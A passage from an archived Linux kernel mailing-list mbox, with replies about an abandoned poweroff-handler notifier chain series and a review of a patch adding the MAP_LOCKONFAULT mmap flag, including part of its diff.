Cc: "linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Heiko Stuebner <heiko-4mtYJXux2i+zQB+pC5nmwQ@public.gmane.org>, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	"devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Pavel Machek <pavel-+ZI9xUNit7I@public.gmane.org>, devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Alexander Graf <agraf-l3A5Bk7waGM@public.gmane.org>,
	linux-acpi <linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
	xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, Len Brown <len.brown-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	"linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-am33-list-H+wXaHxf7aJhl2p70BpVqQ@public.gmane.org
To: Frans Klaver <fransklaver-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Stephen Boyd <sboyd-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Jun 18 13:54:20 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Z5YOh-0001gV-UL
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 18 Jun 2015 13:54:20 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754139AbbFRLyS (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Thu, 18 Jun 2015 07:54:18 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40364 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751001AbbFRLyN (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 18 Jun 2015 07:54:13 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=6zYGZVbEE3qPmjrYW1AoBlXyEYenSDBLmKHlr+bUOik=;
	b=KJz1dMLkhESHOeLFx4DneNIoabhRUQRYzGIWayqDznbIohzD95mbr4fNbodX+vE4mX34vwLTsOofdCsKwz7yiSbMVLvf//fEkV7cM59xxLFR0jLGiKhVq0ixEYbB1YsQSDSQiXgjycj2eyRVzjI8tAzAvKBD/y3fJLdjwwNNWx4=;
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:34229 helo=server.roeck-us.net)
	by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
	(Exim 4.85)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1Z5YOT-000jxy-Ir; Thu, 18 Jun 2015 11:54:06 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.6.0
In-Reply-To: <CAH6sp9P7rq2y_hiQPHKUP85CwnEmp87yC7Psh4=29h-pYnb_yw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Authenticated_sender: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=-1.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:545 gmane.linux.kernel:1979315 gmane.linux.ports.mips.general:49115 gmane.linux.kernel.efi:5810 gmane.linux.ports.ia64:25546 gmane.linux.ports.sh.devel:46563 gmane.linux.drivers.devicetree:125538 gmane.linux.kernel.virtualization.lguest:1635 gmane.linux.ports.hexagon:909 gmane.linux.acpi.devel:76727 gmane.linux.uml.devel:15068 gmane.linux.power-management.general:61461 gmane.linux.ports.tegra:22725 gmane.linux.kernel.openipmi:2713 gmane.linux.ports.arm.kernel:421058 gmane.linux.ports.parisc:25780 gmane.linux.ports.alpha:3139 gmane.linux.ports.ppc64.devel:114439
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/545>

On 06/17/2015 11:53 PM, Frans Klaver wrote:
> On Thu, Jun 18, 2015 at 3:04 AM, Stephen Boyd <sboyd-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org> wrote:
>> On 10/06/2014 10:28 PM, Guenter Roeck wrote:
>>> Various drivers implement architecture and/or device specific means to
>>> remove power from the system.  For the most part, those drivers set the
>>> global variable pm_power_off to point to a function within the driver.
>>>
>>> This mechanism has a number of drawbacks.  Typically only one scheme
>>> to remove power is supported (at least if pm_power_off is used).
>>> At least in theory there can be multiple means remove power, some of
>>> which may be less desirable. For example, some mechanisms may only
>>> power off the CPU or the CPU card, while another may power off the
>>> entire system.  Others may really just execute a restart sequence
>>> or drop into the ROM monitor. Using pm_power_off can also be racy
>>> if the function pointer is set from a driver built as module, as the
>>> driver may be in the process of being unloaded when pm_power_off is
>>> called. If there are multiple poweroff handlers in the system, removing
>>> a module with such a handler may inadvertently reset the pointer to
>>> pm_power_off to NULL, leaving the system with no means to remove power.
>>>
>>> Introduce a system poweroff handler call chain to solve the described
>>> problems.  This call chain is expected to be executed from the
>>> architecture specific machine_power_off() function.  Drivers providing
>>> system poweroff functionality are expected to register with this call chain.
>>> By using the priority field in the notifier block, callers can control
>>> poweroff handler execution sequence and thus ensure that the poweroff
>>> handler with the optimal capabilities to remove power for a given system
>>> is called first.
>>
>> What happened to this series? I want to add shutdown support to my
>> platform and I need to write a register on the PMIC in one driver to
>> configure it for shutdown instead of restart and then write an MMIO
>> register to tell the PMIC to actually do the shutdown in another driver.
>> It seems that the notifier solves this case for me, albeit with the
>> slight complication that I need to order the two with some priority.
>
> I was wondering the same thing. I did find out that things kind of
> stalled after Linus cast doubt on the chosen path [1]. I'm not sure
> there's any consensus on what would be best to do instead.
>

Linus cast doubt on it, then the maintainers started picking it apart.
At the end, trying not to use notifier callbacks made the code so
complicated that even I didn't understand it anymore. With no consensus
in sight, I abandoned it.

Problem is really that the notifier call chain would be perfect to solve
the problem, yet Linus didn't like priorities (which are essential),
and the power maintainers didn't like that a call chain is supposed
to execute _all_ callbacks, which would not be the case here. If I were
to start again, I would insist to use notifiers. However, I don't see
a chance to get that accepted, so I won't. Feel free to pick it up and
give it a try yourself.

Thanks,
Guenter


From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Klaver <fransklaver@gmail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.acpi.devel,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 18 Jun 2015 14:14:07 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <CAH6sp9O0B_BWS8cLSq=MoFbe3nB_45+K64gh7QMHO3meT-b14w@mail.gmail.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
	<1412659726-29957-2-git-send-email-linux@roeck-us.net>
	<55821936.4040704@codeaurora.org>
	<CAH6sp9P7rq2y_hiQPHKUP85CwnEmp87yC7Psh4=29h-pYnb_yw@mail.gmail.com>
	<5582B15B.4010205@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1434629669 16500 80.91.229.3 (18 Jun 2015 12:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2015 12:14:29 +0000 (UTC)
Cc: Stephen Boyd <sboyd@codeaurora.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
	linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
	Heiko Stuebner <heiko@sntech.de>, linux-sh@vger.kernel.org,
	"devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
	Pavel Machek <pavel@ucw.cz>, devel@driverdev.osuosl.org,
	linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
	linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
	Alexander Graf <agraf@suse.de>,
	linux-acpi <linux-acpi@vger.kernel.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	xen-devel@lists.xenproject.org, Len Brown <len.brown@intel.com>,
	user-mode-linux-devel@lists.sourceforge.net,
	"linux-pm@vger.kernel.org" <linux-pm@vger.kernel.org>,
	linux-xtensa@linux-xtensa.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-m68k@lists.lin
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Jun 18 14:14:25 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Z5Yi1-0005IB-E4
	for glpm-linux-m68k@plane.gmane.org; Thu, 18 Jun 2015 14:14:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754689AbbFRMON (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 18 Jun 2015 08:14:13 -0400
Original-Received: from mail-wi0-f178.google.com ([209.85.212.178]:35836 "EHLO
	mail-wi0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754348AbbFRMOK (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 18 Jun 2015 08:14:10 -0400
Original-Received: by wiga1 with SMTP id a1so169247476wig.0
        for <linux-m68k@lists.linux-m68k.org>; Thu, 18 Jun 2015 05:14:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=pDXdKyJBBgK5nFwU5yQ3UnTKhlYcQD8c+Oddqs6Tnc8=;
        b=BzTV9WfdNhEwEniqxLpU5TymzevZf9dHC639SW3H34jb99UikBJdxNixhOk0uKrD5J
         c9dcCgSvVUfTI9FMiRhbtVHj9eCX0podMfxjz7ksczqmICIFuvZu49y7jUYGhy8xuYct
         BiKvO5HFdWaVg2HwpULYBBK5NCENBrxjQUfs6e/pHWCbTQQMqaI9CuDDjeHkkEnDkxSX
         b+18ZluhVmTcT+ESGYKmEGaXigA0HAFOgJsJO8UFe1R9kMSYp6RyzEHGmmLcnK594iN3
         nJSfr9OTKn8VdUUH4KSrkfkEm039YlkqcPT4aC0s1NLK/VkTt0TTvabp1qSu9wBK2gx/
         TV8g==
X-Received: by 10.180.189.10 with SMTP id ge10mr64978185wic.85.1434629647571;
 Thu, 18 Jun 2015 05:14:07 -0700 (PDT)
Original-Received: by 10.28.150.203 with HTTP; Thu, 18 Jun 2015 05:14:07 -0700 (PDT)
In-Reply-To: <5582B15B.4010205@roeck-us.net>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7210 gmane.linux.kernel:1979332 gmane.linux.ports.mips.general:49116 gmane.linux.kernel.efi:5811 gmane.linux.ports.ia64:25547 gmane.linux.ports.sh.devel:46564 gmane.linux.drivers.devicetree:125543 gmane.linux.kernel.virtualization.lguest:1636 gmane.linux.ports.hexagon:910 gmane.linux.acpi.devel:76728 gmane.linux.uml.devel:15069 gmane.linux.power-management.general:61462 gmane.linux.ports.tegra:22726 gmane.linux.kernel.openipmi:2714 gmane.linux.kernel.metag:546 gmane.linux.ports.arm.kernel:421067 gmane.linux.ports.parisc:25781 gmane.linux.ports.alpha:3140 gmane.linux.ports.ppc64.devel:114440
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7210>

On Thu, Jun 18, 2015 at 1:54 PM, Guenter Roeck <linux@roeck-us.net> wrote:
> On 06/17/2015 11:53 PM, Frans Klaver wrote:
>>
>> On Thu, Jun 18, 2015 at 3:04 AM, Stephen Boyd <sboyd@codeaurora.org>
>> wrote:
>>>
>>> On 10/06/2014 10:28 PM, Guenter Roeck wrote:
>>>>
>>>> Various drivers implement architecture and/or device specific means to
>>>> remove power from the system.  For the most part, those drivers set the
>>>> global variable pm_power_off to point to a function within the driver.
>>>>
>>>> This mechanism has a number of drawbacks.  Typically only one scheme
>>>> to remove power is supported (at least if pm_power_off is used).
>>>> At least in theory there can be multiple means remove power, some of
>>>> which may be less desirable. For example, some mechanisms may only
>>>> power off the CPU or the CPU card, while another may power off the
>>>> entire system.  Others may really just execute a restart sequence
>>>> or drop into the ROM monitor. Using pm_power_off can also be racy
>>>> if the function pointer is set from a driver built as module, as the
>>>> driver may be in the process of being unloaded when pm_power_off is
>>>> called. If there are multiple poweroff handlers in the system, removing
>>>> a module with such a handler may inadvertently reset the pointer to
>>>> pm_power_off to NULL, leaving the system with no means to remove power.
>>>>
>>>> Introduce a system poweroff handler call chain to solve the described
>>>> problems.  This call chain is expected to be executed from the
>>>> architecture specific machine_power_off() function.  Drivers providing
>>>> system poweroff functionality are expected to register with this call
>>>> chain.
>>>> By using the priority field in the notifier block, callers can control
>>>> poweroff handler execution sequence and thus ensure that the poweroff
>>>> handler with the optimal capabilities to remove power for a given system
>>>> is called first.
>>>
>>>
>>> What happened to this series? I want to add shutdown support to my
>>> platform and I need to write a register on the PMIC in one driver to
>>> configure it for shutdown instead of restart and then write an MMIO
>>> register to tell the PMIC to actually do the shutdown in another driver.
>>> It seems that the notifier solves this case for me, albeit with the
>>> slight complication that I need to order the two with some priority.
>>
>>
>> I was wondering the same thing. I did find out that things kind of
>> stalled after Linus cast doubt on the chosen path [1]. I'm not sure
>> there's any consensus on what would be best to do instead.
>>
>
> Linus cast doubt on it, then the maintainers started picking it apart.
> At the end, trying not to use notifier callbacks made the code so
> complicated that even I didn't understand it anymore. With no consensus
> in sight, I abandoned it.
>
> Problem is really that the notifier call chain would be perfect to solve
> the problem, yet Linus didn't like priorities (which are essential),
> and the power maintainers didn't like that a call chain is supposed
> to execute _all_ callbacks, which would not be the case here. If I were
> to start again, I would insist to use notifiers. However, I don't see
> a chance to get that accepted, so I won't. Feel free to pick it up and
> give it a try yourself.

How about having two phases? One where all interested parts of the
system get notified, one that does the final shutdown. It's a slightly
different approach than you took, but does use the notifier chains as
expected, and can be used to prepare peripherals for shutdown, if
there's a use case for it.

The two-stage approach does keep the single place to power down. I
expect it would become more obvious that it would be silly to have
more than one actual system power down sequence and hiding
pm_power_off and unifying setting of it should become more straight
forward as well.

Thoughts?

Thanks,
Frans

From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@suse.cz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Thu, 18 Jun 2015 17:29:07 +0200
Lines: 228
Approved: news@gmane.org
Message-ID: <20150618152907.GG5858@dhcp22.suse.cz>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1434641365 27891 80.91.229.3 (18 Jun 2015 15:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2015 15:29:25 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Jun 18 17:29:23 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Z5bkj-00062N-CE
	for lnx-linux-alpha@plane.gmane.org; Thu, 18 Jun 2015 17:29:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755100AbbFRP3Q (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 18 Jun 2015 11:29:16 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:51875 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754341AbbFRP3O (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Thu, 18 Jun 2015 11:29:14 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 6E116AAB2;
	Thu, 18 Jun 2015 15:29:11 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1433942810-7852-2-git-send-email-emunson@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3141 gmane.linux.kernel:1979509 gmane.linux.ports.mips.general:49118 gmane.linux.ports.parisc:25782 gmane.linux.ports.ppc64.devel:114442 gmane.linux.ports.sparc:21159 gmane.linux.kernel.mm:134568 gmane.linux.kernel.cross-arch:28131 gmane.linux.kernel.api:12249
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3141>

[Sorry for the late reply - I meant to answer in the previous threads
 but something always preempted me from that]

On Wed 10-06-15 09:26:48, Eric B Munson wrote:
> The cost of faulting in all memory to be locked can be very high when
> working with large mappings.  If only portions of the mapping will be
> used this can incur a high penalty for locking.
> 
> For the example of a large file, this is the usage pattern for a large
> statical language model (probably applies to other statical or graphical
> models as well).  For the security example, any application transacting
> in data that cannot be swapped out (credit card data, medical records,
> etc).

Such a use case makes some sense to me but I am not sure the way you
implement it is the right one. This is another mlock related flag for
mmap with a different semantic. You do not want to prefault but e.g. is
the readahead or fault around acceptable? I do not see anything in your
patch to handle those...

Wouldn't it be much more reasonable and straightforward to have
MAP_FAULTPOPULATE as a counterpart for MAP_POPULATE which would
explicitly disallow any form of pre-faulting? It would be usable for
other usecases than with MAP_LOCKED combination.

> This patch introduces the ability to request that pages are not
> pre-faulted, but are placed on the unevictable LRU when they are finally
> faulted in.
> 
> To keep accounting checks out of the page fault path, users are billed
> for the entire mapping lock as if MAP_LOCKED was used.
> 
> Signed-off-by: Eric B Munson <emunson@akamai.com>
> Cc: Michal Hocko <mhocko@suse.cz>
> Cc: linux-alpha@vger.kernel.org
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-mips@linux-mips.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: sparclinux@vger.kernel.org
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux-mm@kvack.org
> Cc: linux-arch@vger.kernel.org
> Cc: linux-api@vger.kernel.org
> ---
>  arch/alpha/include/uapi/asm/mman.h   | 1 +
>  arch/mips/include/uapi/asm/mman.h    | 1 +
>  arch/parisc/include/uapi/asm/mman.h  | 1 +
>  arch/powerpc/include/uapi/asm/mman.h | 1 +
>  arch/sparc/include/uapi/asm/mman.h   | 1 +
>  arch/tile/include/uapi/asm/mman.h    | 1 +
>  arch/xtensa/include/uapi/asm/mman.h  | 1 +
>  include/linux/mm.h                   | 1 +
>  include/linux/mman.h                 | 3 ++-
>  include/uapi/asm-generic/mman.h      | 1 +
>  mm/mmap.c                            | 4 ++--
>  mm/swap.c                            | 3 ++-
>  12 files changed, 15 insertions(+), 4 deletions(-)
> 
> diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
> index 0086b47..15e96e1 100644
> --- a/arch/alpha/include/uapi/asm/mman.h
> +++ b/arch/alpha/include/uapi/asm/mman.h
> @@ -30,6 +30,7 @@
>  #define MAP_NONBLOCK	0x40000		/* do not block on IO */
>  #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
> +#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted in, do not prefault */
>  
>  #define MS_ASYNC	1		/* sync memory asynchronously */
>  #define MS_SYNC		2		/* synchronous memory sync */
> diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
> index cfcb876..47846a5 100644
> --- a/arch/mips/include/uapi/asm/mman.h
> +++ b/arch/mips/include/uapi/asm/mman.h
> @@ -48,6 +48,7 @@
>  #define MAP_NONBLOCK	0x20000		/* do not block on IO */
>  #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
> +#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
>  
>  /*
>   * Flags for msync
> diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
> index 294d251..1514cd7 100644
> --- a/arch/parisc/include/uapi/asm/mman.h
> +++ b/arch/parisc/include/uapi/asm/mman.h
> @@ -24,6 +24,7 @@
>  #define MAP_NONBLOCK	0x20000		/* do not block on IO */
>  #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
> +#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
>  
>  #define MS_SYNC		1		/* synchronous memory sync */
>  #define MS_ASYNC	2		/* sync memory asynchronously */
> diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
> index 6ea26df..fce74fe 100644
> --- a/arch/powerpc/include/uapi/asm/mman.h
> +++ b/arch/powerpc/include/uapi/asm/mman.h
> @@ -27,5 +27,6 @@
>  #define MAP_NONBLOCK	0x10000		/* do not block on IO */
>  #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
> +#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
>  
>  #endif /* _UAPI_ASM_POWERPC_MMAN_H */
> diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
> index 0b14df3..12425d8 100644
> --- a/arch/sparc/include/uapi/asm/mman.h
> +++ b/arch/sparc/include/uapi/asm/mman.h
> @@ -22,6 +22,7 @@
>  #define MAP_NONBLOCK	0x10000		/* do not block on IO */
>  #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
> +#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
>  
>  
>  #endif /* _UAPI__SPARC_MMAN_H__ */
> diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
> index 81b8fc3..ec04eaf 100644
> --- a/arch/tile/include/uapi/asm/mman.h
> +++ b/arch/tile/include/uapi/asm/mman.h
> @@ -29,6 +29,7 @@
>  #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
>  #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
>  #define MAP_HUGETLB	0x4000		/* create a huge page mapping */
> +#define MAP_LOCKONFAULT	0x8000		/* Lock pages after they are faulted in, do not prefault */
>  
>  
>  /*
> diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
> index 201aec0..42d43cc 100644
> --- a/arch/xtensa/include/uapi/asm/mman.h
> +++ b/arch/xtensa/include/uapi/asm/mman.h
> @@ -55,6 +55,7 @@
>  #define MAP_NONBLOCK	0x20000		/* do not block on IO */
>  #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
> +#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
>  #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
>  # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory could be
>  					 * uninitialized */
> diff --git a/include/linux/mm.h b/include/linux/mm.h
> index 0755b9f..3e31457 100644
> --- a/include/linux/mm.h
> +++ b/include/linux/mm.h
> @@ -126,6 +126,7 @@ extern unsigned int kobjsize(const void *objp);
>  #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct page", just pure PFN */
>  #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
>  
> +#define VM_LOCKONFAULT	0x00001000	/* Lock the pages covered when they are faulted in */
>  #define VM_LOCKED	0x00002000
>  #define VM_IO           0x00004000	/* Memory mapped I/O or similar */
>  
> diff --git a/include/linux/mman.h b/include/linux/mman.h
> index 16373c8..437264b 100644
> --- a/include/linux/mman.h
> +++ b/include/linux/mman.h
> @@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
>  {
>  	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
>  	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
> -	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
> +	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
> +	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT);
>  }
>  
>  unsigned long vm_commit_limit(void);
> diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
> index e9fe6fd..fc4e586 100644
> --- a/include/uapi/asm-generic/mman.h
> +++ b/include/uapi/asm-generic/mman.h
